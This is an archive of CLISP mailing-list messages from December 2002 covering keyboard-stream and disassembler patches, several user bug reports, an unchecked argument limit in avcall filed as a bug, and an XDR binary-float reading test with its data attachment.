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--- stream.d.~1.324.~	2002-12-12 21:32:21.000000000 -0500
+++ stream.d	2002-12-13 10:46:18.000000000 -0500
@@ -8635,6 +8635,12 @@
 #endif
 
 #if (defined(UNIX) && !defined(NEXTAPP)) || defined(RISCOS)
+local inline gcv_object_t* kbd_last_buf (const gcv_object_t* stream_) {
+  var gcv_object_t* last_ = &TheStream(*stream_)->strm_keyboard_buffer;
+  while (mconsp(*last_)) { last_ = &Cdr(*last_); }
+  return last_;
+}
+
 # cf. rd_ch_unbuffered() :
 local object rd_ch_keyboard (const gcv_object_t* stream_) {
  restart_it:
@@ -8642,6 +8648,15 @@
   if (eq(TheStream(stream)->strm_rd_ch_last,eof_value)) # EOF already?
     return eof_value;
   # Still something in the Buffer?
+  if (UnbufferedStream_status(stream) > 0) {
+    var uintL num_bytes = UnbufferedStream_status(stream);
+    var uintB *bytes = UnbufferedStream_bytebuf(stream);
+    var uintL count;
+    UnbufferedStream_status(stream) = 0;
+    dotimespL(count,num_bytes,{ pushSTACK(code_char(as_chart(*bytes++))); }); # FIXME: This should take into account the encoding.
+    *kbd_last_buf(stream_) = listof(num_bytes);
+    stream = *stream_;
+  }
   if (mconsp(TheStream(stream)->strm_keyboard_buffer))
     goto empty_buffer;
   # read a character:
@@ -8668,20 +8683,16 @@
         TheStream(stream)->strm_rd_ch_last = eof_value; return eof_value;
       }
     }
-  next_char_is_read:
-    # It increases the Buffer:
-    {
+  next_char_is_read: { /* increase the buffer: */
       var object new_cons = allocate_cons();
       Car(new_cons) = code_char(as_chart(c)); # FIXME: This should take into account the encoding.
-      stream = *stream_;
-      var gcv_object_t* last_ = &TheStream(stream)->strm_keyboard_buffer;
-      while (mconsp(*last_)) { last_ = &Cdr(*last_); }
-      *last_ = new_cons;
+      *kbd_last_buf(stream_) = new_cons;
     }
     # Is the buffer a complete sequence of characters for a key,
     # so we will return this key. Is the buffer a genuine starting piece
     # of a sequence of characters for a key, so we will wait a little bit.
     # Otherwise we start to empty the buffer character for character.
+    stream = *stream_;
     {
       var object keytab = TheStream(stream)->strm_keyboard_keytab;
       while (consp(keytab)) {


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Someone recently asked about the state of CLUE/CLIO for CLISP. From the
latest CLOCC CVS commit logs, I have seen that Sam is working on the CLOCC
port of CLUE/CLIO.


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Has anyone had any success getting with-wish to work under clisp and macosx?
It mostly works out of the box but there is slight problem with the
communications between wish and clisp.

Small transcript follows:

Handshaking ... ok.
Initializing ... done.
Listening:
WISH says: '
'Ooops! Strange message from wish: '
"
"'!
WISH says: '
Time
'
WISH says: '
0
'Ooops! Strange message from wish: '
"0
"'!
WISH says: '
'Ooops! Strange message from wish: '
"
"'!


Thank you.


Damond



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> * In message <2=76PSkSwg7VpX96CGYjHoKG9k+w@4ax.com>
> * On the subject of "[clisp-list] CLUE/CLIO for CLISP"
> * Sent on Sat, 14 Dec 2002 14:14:28 +0100
> * Honorable Paolo Amoroso <amoroso@mclink.it> writes:
>
> Someone recently asked about the state of CLUE/CLIO for CLISP. From
> the latest CLOCC CVS commit logs, I have seen that Sam is working on
> the CLOCC port of CLUE/CLIO.

Indeed, CVS head CLISP with MIT-CLX compiles CLOCC CLUE/CLIO

I wonder whether this is important enough to be mentioned in the CLISP
NEWS file.

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On 14 Dec 2002 10:17:42 -0500, Sam Steingold wrote:

> Indeed, CVS head CLISP with MIT-CLX compiles CLOCC CLUE/CLIO
> 
> I wonder whether this is important enough to be mentioned in the CLISP
> NEWS file.

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> Please try the appended patch - it should fix the bug.
> Please report your experiences here ASAP.
I downloaded 2.30 (was running 2.29), applied the patch the stream.d and
it failed to compile, the errors follow:

stream.d: At top level:
stream.d:8649: parse error before `*'
stream.d:8649: warning: type defaults to `int' in declaration of
`gcv_object_t'
stream.d:8649: parse error before `*'
stream.d:8649: warning: return type defaults to `int'
stream.d: In function `kbd_last_buf':
stream.d:8650: `gcv_object_t' undeclared (first use in this function)
stream.d:8650: (Each undeclared identifier is reported only once
stream.d:8650: for each function it appears in.)
stream.d:8650: `last_' undeclared (first use in this function)
stream.d:8650: `stream_' undeclared (first use in this function)
stream.d:8653: warning: control reaches end of non-void function

I quickly grep'ed around the source and couldn't find a definition for
gcv_object_t, perhaps there's more changes in cvs I need to pick up?
Anyway, its not that important, I have no problem waiting for the next
point revision to pick up the patch and test it.
 
> 
> note that this is a "busywait" loop, i.e., it will get your loadavg to 1.
> 
I'm aware of that (and unhappy about it), does clisp have a mechanism
that will raise some sort of event when a stream's got something to say?
I want to grab keyboard input and keep an eye on a socket at the same
time.

Thanks,
Jamison 


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> * In message <1039944585.25242.39.camel@woody.snu.ac.kr>
> * On the subject of "Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen"
> * Sent on 15 Dec 2002 18:29:45 +0900
> * Honorable Jamison Masse <jamison@redwood.snu.ac.kr> writes:
>
> > Please try the appended patch - it should fix the bug.
> > Please report your experiences here ASAP.
> I downloaded 2.30 (was running 2.29), applied the patch the stream.d and
> it failed to compile, the errors follow:
> 
> stream.d: At top level:
> stream.d:8649: parse error before `*'
> stream.d:8649: warning: type defaults to `int' in declaration of
> `gcv_object_t'
> stream.d:8649: parse error before `*'
> stream.d:8649: warning: return type defaults to `int'
> stream.d: In function `kbd_last_buf':
> stream.d:8650: `gcv_object_t' undeclared (first use in this function)
> stream.d:8650: (Each undeclared identifier is reported only once
> stream.d:8650: for each function it appears in.)
> stream.d:8650: `last_' undeclared (first use in this function)
> stream.d:8650: `stream_' undeclared (first use in this function)
> stream.d:8653: warning: control reaches end of non-void function

replace `gcv_object_t' with `object'.

> > note that this is a "busywait" loop, i.e., it will get your loadavg to 1.
> I'm aware of that (and unhappy about it), does clisp have a mechanism
> that will raise some sort of event when a stream's got something to say?
> I want to grab keyboard input and keep an eye on a socket at the same
> time.

SOCKET-STATUS
<http://clisp.cons.org/impnotes/socket.html#so-status>

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Why executing on argument line has no input stream?


[pascal@thalassa clisp]$ clisp -norc -q -x '(read-line)'

*** - READ: input stream #<INPUT STRING-INPUT-STREAM> has reached its end

[pascal@thalassa clisp]$ clisp -norc -q 

[1]> (read-line)
[1]> hello
"hello" ;
NIL
[2]> 


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> * In message <20021215184502.7645194EA7@thalassa.informatimago.com>
> * On the subject of "[clisp-list] No input stream on argument line!"
> * Sent on Sun, 15 Dec 2002 19:45:02 +0100 (CET)
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>
> Why executing on argument line has no input stream?

because -x binds *standard-input* to a STRING-INPUT-STREAM reading from
the -x argument.

> [pascal@thalassa clisp]$ clisp -norc -q -x '(read-line)'
> 
> *** - READ: input stream #<INPUT STRING-INPUT-STREAM> has reached its end

$ clisp -norc -q -x '(read-line *terminal-io*)'
hello
"hello" ;
NIL
$


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> > * In message <1039944585.25242.39.camel@woody.snu.ac.kr>
> > * On the subject of "Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen"
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> >
> > > note that this is a "busywait" loop, i.e., it will get your loadavg to 1.
> > I'm aware of that (and unhappy about it), does clisp have a mechanism
> > that will raise some sort of event when a stream's got something to say?
> > I want to grab keyboard input and keep an eye on a socket at the same
> > time.
> 
> SOCKET-STATUS
> <http://clisp.cons.org/impnotes/socket.html#so-status>

you will need the appended patch to make SOCKET-STATUS work with
keyboard-streams too.  (or use CVS head)

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Index: stream.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stream.d,v
retrieving revision 1.325
retrieving revision 1.326
diff -u -w -b -u -b -w -i -B -r1.325 -r1.326
--- stream.d	13 Dec 2002 16:04:39 -0000	1.325
+++ stream.d	15 Dec 2002 20:08:16 -0000	1.326
@@ -14822,6 +14822,11 @@
       if (out_sock) *out_sock = (SOCKET)stdout_handle;
       if (char_p) *char_p = true;
       return;
+    case strmtype_keyboard:
+      if (in_sock)
+        *in_sock = TheSocket(TheStream(obj)->strm_keyboard_handle);
+      if (char_p) *char_p = true;
+      return;
     case strmtype_twoway_socket:
       obj = TheStream(obj)->strm_twoway_socket_input;
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Hi,

Pascal's post about a def-lib-call being generated at run-time for =
execl made me remember the inner workings of the avcall package.

avcall.h uses a fixed array internally:=20
/* Max # words in argument-list and temporary structure storage.=20
 */=20
#define __AV_ALIST_WORDS 256=20

Without argument checking, there will be core dumps when given too many =
arguments. Neither avcall itself nor its caller (src/foreign.d) check =
this. As a result, you can blow the Lisp application.

[Typical vulnerability hunting with C: go search for places with =
arbitrary limits and see whether they are checked.]

BTW, while a typical UNIX shell may expand many *, there's a limit on =
the length.

That's where xargs comes in handy.

>fgrep mumbojumbo `find ~/sspace/src/clisp-2.28/ -type f -print`
-- Too many words from ``
>find ~/sspace/src/clisp-2.28/ -type f -print | xargs fgrep mumbojumbo
-- works

BTW, IMHO libraries should export the values (via API) with which they =
were compiled, as part of a well-design API:
size_t get_avcall_limit() {return __AV_ALIST_WORDS;}
Because the visible #define doesn't say anything about the value at the =
time they were compiled: that' the only one which counts.

I filed bug-report #654718
It's never been a problem in practive so far - apparently.

Regards,
	J=F6rg H=F6hle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FEBB4240@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] buffer overflow weakness in avcall/ffcall (was: execl, et al.)"
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> 
> I filed bug-report #654718

Could you please _fix_ the bug?

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Is it possible to get a list of global variables used in a function
from the compiler?  Currently, I am using clisp with maxima, and
xref is being used to do a crossreference.  However it lists
local variables and global without indicating which ones are global,
and that information would be a big help.
Thanks,
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> * In message <E18O05b-0004Cx-00@mantis.privatei.com>
> * On the subject of "[clisp-list] Question about the compiler"
> * Sent on Mon, 16 Dec 2002 11:35:39 -0700 (MST)
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> Is it possible to get a list of global variables used in a function
> from the compiler?

if the function is a compiled closure, then yes: look at the
GETVALUE and SETVALUE instructions in the byte code.

if it is an interpreted closure, the code-walker would need to be
modified to do this..

if it is a built-in function written in C, no.

it would be nice to display this information in the disassembly...

you probably want a CLOSURE-FREE-VARIABLES function, right?

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>> Is it possible to get a list of global variables used in a function
>> from the compiler?
>
>if the function is a compiled closure, then yes: look at the
>GETVALUE and SETVALUE instructions in the byte code.
>
>if it is an interpreted closure, the code-walker would need to be
>modified to do this..

What is the difference between a compiled and interpreted closure.

>
>if it is a built-in function written in C, no.
>
>it would be nice to display this information in the disassembly...

It would be helpful if it was in 1 line with a function name,
Somthing like:
funcname uses globals : global1 global2 ...
or
Global usage:
funcname1 : global1 global2 ...
funcname2 : global1 global2 ...
>
>you probably want a CLOSURE-FREE-VARIABLES function, right?
How would I use this function?

Which would be easier, to modify the compiler to produce this,
or to hack together a awk script to do this?

Another thing I would like is a indication of how long the function is,
maybe in terms of symbols, so that I could identify really short functions,
say ones whos length is maybe 5 to 10 symbols.  My goal here is to use the
compiler output as a programming tool.


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> * In message <E18O1XJ-00081a-00@mantis.privatei.com>
> * On the subject of "Re: [clisp-list] Question about the compiler"
> * Sent on Mon, 16 Dec 2002 13:08:21 -0700 (MST)
> * Honorable dan.stanger@ieee.org writes:
>
> >> Is it possible to get a list of global variables used in a function
> >> from the compiler?
> >
> >if the function is a compiled closure, then yes: look at the
> >GETVALUE and SETVALUE instructions in the byte code.
> >
> >if it is an interpreted closure, the code-walker would need to be
> >modified to do this..
> 
> What is the difference between a compiled and interpreted closure.

when you compile an interpreted closure, you get a compiled one.

> Which would be easier, to modify the compiler to produce this,

I will change DISASSEMBLE to print this.

> or to hack together a awk script to do this?

huh?

> Another thing I would like is a indication of how long the function
> is, maybe in terms of symbols, so that I could identify really short
> functions, say ones whos length is maybe 5 to 10 symbols.  My goal
> here is to use the compiler output as a programming tool.

see <http://clisp.cons.org/impnotes/bytecode.html>, specifically

# Execution speed of a program can easily be understood by looking at
  the output of the DISASSEMBLE function. A rule of thumb is that every
  elementary instruction costs 1 time unit, whereas a function call
  costs 3 to 4 time units.

I think what you want to do is to to pass :LISTING to COMPILE-FILE (or
-l after -c on the command line) to produce the disassembly.
see <http://clisp.cons.org/impnotes/system.html#compilefile>
and <http://clisp.cons.org/clisp.html#opt-list>.

then you can parse those files, looking for
        "^[0-9]+ byte-code instructions:$"
as the indicator of the function size, and for
        "reads special variables:"
and
        "writes special variables:"

(you will need to apply the appended patch)

On a second thought, you can just grep disassembly for SETVALUE and
GETVALUE and look at the variable name after the ";".

use EXT:SPECIAL-VARIABLE-P to check whether the symbol has been
declared special.

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--- compiler.lisp.~1.111.~	2002-11-07 04:14:01.000000000 -0500
+++ compiler.lisp	2002-12-16 18:04:14.000000000 -0500
@@ -10487,7 +10487,21 @@
     (let ((const-string-list
             (mapcar #'(lambda (x) (sys::write-to-short-string x 35))
                     const-list))
+          special-vars-read special-vars-write
           (lap-list (disassemble-LAP byte-list const-list)))
+      (dolist (L lap-list)
+        (when (consp (cdr L))
+          (case (cadr L)        ; instruction
+            ((GETVALUE GETVALUE&PUSH)
+             (pushnew (nth (caddr L) const-list) special-vars-read))
+            ((SETVALUE)
+             (pushnew (nth (caddr L) const-list) special-vars-write)))))
+      (when special-vars-read
+        (format stream (TEXT "~%reads special variable~P: ~S")
+              (length special-vars-read) special-vars-read))
+      (when special-vars-write
+        (format stream (TEXT "~%writes special variable~P : ~S")
+              (length special-vars-write) special-vars-write))
       (format stream (TEXT "~%~S byte-code instruction~:P:") (length lap-list))
       (dolist (L lap-list)
         (let ((PC (car L)) (instr (cdr L)))


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Thanks, Sam for providing this.  I will try it tonight.
My goal with function length is not to determine speed, but
rather to find places where one or 2 line functions were
written, to see if they add value to understanding the code,
or if the same one or 2 line function was written twice.
As a example, there is a function haulong, which
just calls integer-length,
another example is bigp and bignump which have the same
implementation.


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> * In message <E18O4hv-0008Vn-00@mantis.privatei.com>
> * On the subject of "Compiler output"
> * Sent on Mon, 16 Dec 2002 16:31:31 -0700 (MST)
> * Honorable dan.stanger@ieee.org writes:
>
> Thanks, Sam for providing this.  I will try it tonight.
you are welcome!

> My goal with function length is not to determine speed, but rather to
> find places where one or 2 line functions were written, to see if they
> add value to understanding the code, or if the same one or 2 line
> function was written twice.  As a example, there is a function
> haulong, which just calls integer-length, another example is bigp and
> bignump which have the same implementation.

see `cllib:code-complexity' in <CLOCC/CLLIB/fileio.lisp>

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> * In message <3DFF2B54.1C5945F4@ieee.org>
> * On the subject of "Re: [clisp-list] Re: Compiler output"
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> Sam Steingold wrote:
> > see `cllib:code-complexity' in <CLOCC/CLLIB/fileio.lisp>
> 
> Could you add a function like this to the compiler also, which would
> output this information on a per function basis, or per top level
> form?

what for?  you already have cross-platform <CLOCC/CLLIB/fileio.lisp>!

what information internal to CLISP would you like me to export?

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> * In message <3DFF42FD.5CF5CAB2@ieee.org>
> * On the subject of "Re: [clisp-list] Re: Compiler output"
> * Sent on Tue, 17 Dec 2002 08:30:06 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Sam Steingold wrote:
> 
> > what information internal to CLISP would you like me to export?
> 
> When the file is read in, would be the most convenient place to output
> this information.  The function complexity would be nice to have, I
> agree it is not as relevant as globals.

special variables are indeed hard to identify without a full-blown code
walker and compiler.
CVS head CLISP now prints them separately for each disassembly
(and you can easily grep disassembly for them in the released versions).

the bytecode size for each functions is obviously
implementation-specific and it has always been available.

> I would have to write a seperate program to compute this, put it in
> the makefile, then have another file to look thru rather than one, the
> listing file.

code complexity is heavily application-specific, not
implementation-specific, so the CLISP compiler should not have anything
to do with this.

you already have a sample `code-complexity' function in CLLIB.

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Hello,

I'm using CLISP 2.30 on Windows NT.

The following will cause a stack overflow:

(let ((table (make-hash-table)))
   (setf (gethash 'self table) table))

*** - Lisp stack overflow. RESET

I suppose this is a bug.
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> * In message <5.1.0.14.0.20021218190528.030d49f0@mail.netquant.com.br>
> * On the subject of "[clisp-list] setf causing stack overfl. w/ hash-table"
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> I'm using CLISP 2.30 on Windows NT.
> 
> The following will cause a stack overflow:
> 
> (let ((table (make-hash-table)))
>    (setf (gethash 'self table) table))
> 
> *** - Lisp stack overflow. RESET

<http://clisp.cons.org/faq.html#stack>:

        * You will always get a stack overflow when you try to print a
          circular object (list or structure) and *PRINT-CIRCLE* is NIL.
          Just set *PRINT-CIRCLE* to T.

> I'm not subscribing to this list, so I would appreciate any
> feedback.If my email doesn't appear reach me at:

you can read this list on gmane.org.
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Sam Steingold <sds@gnu.org> writes:

> > * In message <87r8cni545.fsf@merceron.meteo.fr>
> > * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more"
> > * Sent on 12 Dec 2002 17:17:30 +0100
> > * Honorable Bernard Urban <Bernard.Urban@meteo.fr> writes:
> >
> > > how do I create a file like that?
> > 
> > I found the problem by using an XDR file generated by the Right Thing
> > (namely a rpcgen generated program).
> 
> could you please give some more examples for the regression test?
> right now I have
> 
> (let ((vec (make-array 8 :element-type '(unsigned-byte 8)
>                        :initial-contents '(#x3f #xf0 0 0 0 0 0 0))))
>   (with-open-file (foo "./foocl" :direction :output
>                        :element-type '(unsigned-byte 8))
>     (write-sequence vec foo))
>   (prog1
>       (with-open-file (foo "./foocl" :direction :input
>                            :element-type '(unsigned-byte 8))
>         (read-float foo 'double-float :big))
>     (delete-file "./foocl")))
> 
> can you give me more binary representations of floats and integers in
> various endiannesses?
> 

Here is a simplified version of the data which started all this:


--=-=-=
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=test
Content-Transfer-Encoding: base64

AAAHywAAAAQAAAALAAAADAAAAAY/8AAAAAAAAD/wAAAAAAAAAAAAAAAAAAA/8AAAAAAAAAAAAAAA
AAAVAAAAIgAAAEAAAAARAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAA
AEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAARAAAAFQAAABUAAAAVAAAAFQAAABUAAAAVAAAA
FQAAABUAAAAVAAAAFQAAABUAAAAVAAAAFQAAABUAAAAVAAAAFQAAABUAAAARP/AAAAAAAAA/7+mV
5wQJoD/viiEnFLzAP+7fVRgFO6A/7erAJZ9/QD/srqm0V0ygP+suBP1oagA/6WxpSBxLwD/nbgkx
1pOgP+U3qJxIf4A/4s6RRpYsoD/gOIYoZrKAP9r3a1fG+OA/1T1Vzle94D/OoPfhnAlAP8J+DqcX
8iA/qLvISIzEgAAAABhA+LzQAAAAAAAAABgAAAAAAAAAAD+beKFfdkQAP6kVGOfrU8A/sRoFWFLx
AD+0oWwJAA0AP7c1mYooMiA/uOtm38BS4D+5160N/n2AP7oPRRjXpMA/uacIBHb8oD+4s87U5yvA
P7dKco4y2IA/tX/MNIU3YD+zaLTL3hTAP7EaBVhS8QA/rVEtu/KZID+oUoTB4wPAP6Nhwcp2uqA/
nVEtvAhNID+UoWwJFcDgP4oPRRjXpMA/e1zVWi+rQD9jHEO9BSEgAAAAAAAAAAAAAAAYAAAAAAAA
AAAAAAAAAAAAAD+FiFkEnQCAP59WMo4zDkA/rl/f
--=-=-=


And lisp code to test the reading of this data:


--=-=-=
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=test.lsp

(defstruct arpege
  an mois jour heure echeance
  sinlatpole coslonpole sinlonpole etire ityp tronc nlat nlon
  nlon_par_lat tronc_par_lat sinlat_par_lat nlev pref A)

(defun xdr-read-double (xdr-stream)
 (ext:read-float xdr-stream 'double-float :big))

(defconstant twoto32nd 4294967296)

(defmacro integer-from-bytes (byte0 byte1 byte2 byte3)
  "interprets these 32 bits as a signed integer"
  `(if (> ,byte0 127)
       (- (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3) twoto32nd)
       (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3)))
  
(defmacro unsigned-from-bytes (byte0 byte1 byte2 byte3)
  "interprets these 32 bits as an unsigned integer"
  `(+ (ash ,byte0 24) (ash ,byte1 16) (ash ,byte2 8) ,byte3))

(defun xdr-read-integer (rpcstream)
 (let* ((c0 (read-byte rpcstream))
        (c1 (read-byte rpcstream))
        (c2 (read-byte rpcstream))
        (c3 (read-byte rpcstream)))
  (integer-from-bytes c0 c1 c2 c3)))

(defun xdr-read-unsigned (rpcstream)
 (let* ((c0 (read-byte rpcstream))
        (c1 (read-byte rpcstream))
        (c2 (read-byte rpcstream))
        (c3 (read-byte rpcstream)))
  (unsigned-from-bytes c0 c1 c2 c3)))

(defun read (xdr-stream)
 (make-arpege :an (xdr-read-integer xdr-stream) :mois
  (xdr-read-integer xdr-stream) :jour
  (xdr-read-integer xdr-stream) :heure
  (xdr-read-integer xdr-stream) :echeance
  (xdr-read-integer xdr-stream) :sinlatpole
   (xdr-read-double xdr-stream) :coslonpole
   (xdr-read-double xdr-stream) :sinlonpole
   (xdr-read-double xdr-stream) :etire
   (xdr-read-double xdr-stream) :ityp
   (xdr-read-integer xdr-stream) :tronc
   (xdr-read-integer xdr-stream) :nlat
   (xdr-read-integer xdr-stream) :nlon
   (xdr-read-integer xdr-stream) :nlon_par_lat
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type '(signed-byte 32))))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-integer xdr-stream))))
   :tronc_par_lat
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type '(signed-byte 32))))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-integer xdr-stream))))
   :sinlat_par_lat
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type 'double-float)))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-double xdr-stream))))
   :nlev (xdr-read-integer xdr-stream) :pref
   (xdr-read-double xdr-stream) :a
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type 'double-float)))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-double xdr-stream))))
))

(setq fi (open "test" :direction
          :input :element-type 'unsigned-byte))

(setq lu (read fi))

; lu should contain:
; #S(ARPEGE :AN 1995 :MOIS 4 :JOUR 11 :HEURE 12 :ECHEANCE 6 :SINLATPOLE 1.0d0
;    :COSLONPOLE 1.0d0 :SINLONPOLE 0.0d0 :ETIRE 1.0d0 :ITYP 0 :TRONC 21 :NLAT 34
;    :NLON 64 :NLON_PAR_LAT #(64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64)
;    :TRONC_PAR_LAT #(21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21)
;    :SINLAT_PAR_LAT
;    #(1.0d0 0.9972638618494791d0 0.9856115115452653d0 0.9647622555875053d0
;      0.9349060759377394d0 0.8963211557660493d0 0.8493676137325679d0
;      0.7944837959679418d0 0.7321821187402868d0 0.6630442669302141d0
;      0.5877157572407619d0 0.5068999089322261d0 0.4213512761306344d0
;      0.33186860228212645d0 0.23928736225213676d0 0.14447196158279585d0
;      0.048307665687738144d0)
;    :NLEV 24 :PREF 101325.0d0
;    :A
;    #(0.0d0 0.026827355815445486d0 0.048989084539847294d0 0.06680329710338029d0
;      0.08058810443622022d0 0.09066161749814983d0 0.09734194719960554d0
;      0.10094720451023953d0 0.10179550034048912d0 0.10020494565013616d0
;      0.09649365136935639d0 0.09097972842832469d0 0.08398128778682468d0
;      0.07581644036516177d0 0.06680329710338029d0 0.05725996894152474d0
;      0.0475045668295091d0 0.037855201687638784d0 0.02862998447569709d0
;      0.020147026113989663d0 0.01272443754256114d0 0.006680329711324984d0
;      0.002332813550456461d0 0.0d0))

--=-=-=


Alas, I have no example for little endian and single-float data. 
Notice that cmucl has not read-float, so I use the following, which
could be taken as a reference:

(defmacro to-double-float2 (x y bias mantisse expon modele)
  "Returns a float of type MODELE from 4-bytes unsigned X and Y seen as the
 bit pattern of a IEEE float with parameters BIAS, MANTISSE and EXPON."
  `(let ((f (ldb (byte ,(- mantisse 32) 0) ,x))
         (e (ldb (byte ,expon ,(- mantisse 32)) ,x)))
     (declare (type (unsigned-byte ,(- mantisse 32)) f))
     (declare (type (unsigned-byte ,expon) e))
     (if (and (zerop f) (zerop ,y) (zerop e))
         ,modele
       (scale-float (float (if (< ,(ash 1 (+ expon mantisse -32)) ,x)
                               (- (+ ,y (ash (+ f ,(ash 1 (- mantisse 32))) 32)))
                             (+ ,y (ash (+ f ,(ash 1 (- mantisse 32))) 32)))
                           ,modele)
                    (- e ,bias ,mantisse)))))

(defmacro to-double-float (x y)
  `(to-double-float2 ,x ,y 1023 52 11 0d0))

(defun tcp-getdouble (rpcstream)
  (let* ((v1 (xdr-read-unsigned rpcstream))
         (v2 (xdr-read-unsigned rpcstream)))
    (to-double-float v1 v2))

Notice that I cannot use read-integer, as it is requested to be
'(unsigned-byte 8) or a multiple thereof. Any reason for this
limitation ?

Regards.

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Bernard Urban

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--=-=-=


Bernard Urban <Bernard.Urban@meteo.fr> writes:
> 
> Notice that I cannot use read-integer, as it is requested to be
> '(unsigned-byte 8) or a multiple thereof. Any reason for this
> limitation ?

Ah yes, for 4 byte integer, you should use  '(unsigned-byte 32) , not
'(unsigned-byte 4), so it makes sense. And it works ok:


--=-=-=
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=test.lsp

(defstruct arpege
  an mois jour heure echeance
  sinlatpole coslonpole sinlonpole etire ityp tronc nlat nlon
  nlon_par_lat tronc_par_lat sinlat_par_lat nlev pref A)

(defun xdr-read-double (xdr-stream)
 (ext:read-float xdr-stream 'double-float :big))

(defconstant twoto32nd 4294967296)

(defmacro integer-from-bytes (byte0 byte1 byte2 byte3)
  "interprets these 32 bits as a signed integer"
  `(if (> ,byte0 127)
       (- (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3) twoto32nd)
       (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3)))
  
(defmacro unsigned-from-bytes (byte0 byte1 byte2 byte3)
  "interprets these 32 bits as an unsigned integer"
  `(+ (ash ,byte0 24) (ash ,byte1 16) (ash ,byte2 8) ,byte3))

(defun xdr-read-integer (rpcstream)
  (read-integer rpcstream '(signed-byte 32) :big))
;  (let* ((c0 (read-byte rpcstream))
;         (c1 (read-byte rpcstream))
;         (c2 (read-byte rpcstream))
;         (c3 (read-byte rpcstream)))
;   (integer-from-bytes c0 c1 c2 c3)))

(defun xdr-read-unsigned (rpcstream)
  (read-integer rpcstream '(unsigned-byte 32) :big))
;  (let* ((c0 (read-byte rpcstream))
;         (c1 (read-byte rpcstream))
;         (c2 (read-byte rpcstream))
;         (c3 (read-byte rpcstream)))
;   (unsigned-from-bytes c0 c1 c2 c3)))

(defun read (xdr-stream)
 (make-arpege :an (xdr-read-integer xdr-stream) :mois
  (xdr-read-integer xdr-stream) :jour
  (xdr-read-integer xdr-stream) :heure
  (xdr-read-integer xdr-stream) :echeance
  (xdr-read-integer xdr-stream) :sinlatpole
   (xdr-read-double xdr-stream) :coslonpole
   (xdr-read-double xdr-stream) :sinlonpole
   (xdr-read-double xdr-stream) :etire
   (xdr-read-double xdr-stream) :ityp
   (xdr-read-integer xdr-stream) :tronc
   (xdr-read-integer xdr-stream) :nlat
   (xdr-read-integer xdr-stream) :nlon
   (xdr-read-integer xdr-stream) :nlon_par_lat
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type '(signed-byte 32))))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-integer xdr-stream))))
   :tronc_par_lat
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type '(signed-byte 32))))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-integer xdr-stream))))
   :sinlat_par_lat
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type 'double-float)))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-double xdr-stream))))
   :nlev (xdr-read-integer xdr-stream) :pref
   (xdr-read-double xdr-stream) :a
   (let*
    ((thecount (xdr-read-unsigned xdr-stream))
     (thearray (make-array thecount :element-type 'double-float)))
    (dotimes (i thecount thearray)
     (setf (aref thearray i)
      (xdr-read-double xdr-stream))))
))

(setq fi (open "test" :direction
          :input :element-type 'unsigned-byte))

(setq lu (read fi))

; lu should contain:
; #S(ARPEGE :AN 1995 :MOIS 4 :JOUR 11 :HEURE 12 :ECHEANCE 6 :SINLATPOLE 1.0d0
;    :COSLONPOLE 1.0d0 :SINLONPOLE 0.0d0 :ETIRE 1.0d0 :ITYP 0 :TRONC 21 :NLAT 34
;    :NLON 64 :NLON_PAR_LAT #(64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64)
;    :TRONC_PAR_LAT #(21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21)
;    :SINLAT_PAR_LAT
;    #(1.0d0 0.9972638618494791d0 0.9856115115452653d0 0.9647622555875053d0
;      0.9349060759377394d0 0.8963211557660493d0 0.8493676137325679d0
;      0.7944837959679418d0 0.7321821187402868d0 0.6630442669302141d0
;      0.5877157572407619d0 0.5068999089322261d0 0.4213512761306344d0
;      0.33186860228212645d0 0.23928736225213676d0 0.14447196158279585d0
;      0.048307665687738144d0)
;    :NLEV 24 :PREF 101325.0d0
;    :A
;    #(0.0d0 0.026827355815445486d0 0.048989084539847294d0 0.06680329710338029d0
;      0.08058810443622022d0 0.09066161749814983d0 0.09734194719960554d0
;      0.10094720451023953d0 0.10179550034048912d0 0.10020494565013616d0
;      0.09649365136935639d0 0.09097972842832469d0 0.08398128778682468d0
;      0.07581644036516177d0 0.06680329710338029d0 0.05725996894152474d0
;      0.0475045668295091d0 0.037855201687638784d0 0.02862998447569709d0
;      0.020147026113989663d0 0.01272443754256114d0 0.006680329711324984d0
;      0.002332813550456461d0 0.0d0))

--=-=-=


Time for Christmas holydays...

-- 

Bernard Urban

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Date: Thu Dec 19 10:46:05 2002
X-Original-Date: 19 Dec 2002 19:45:23 +0100

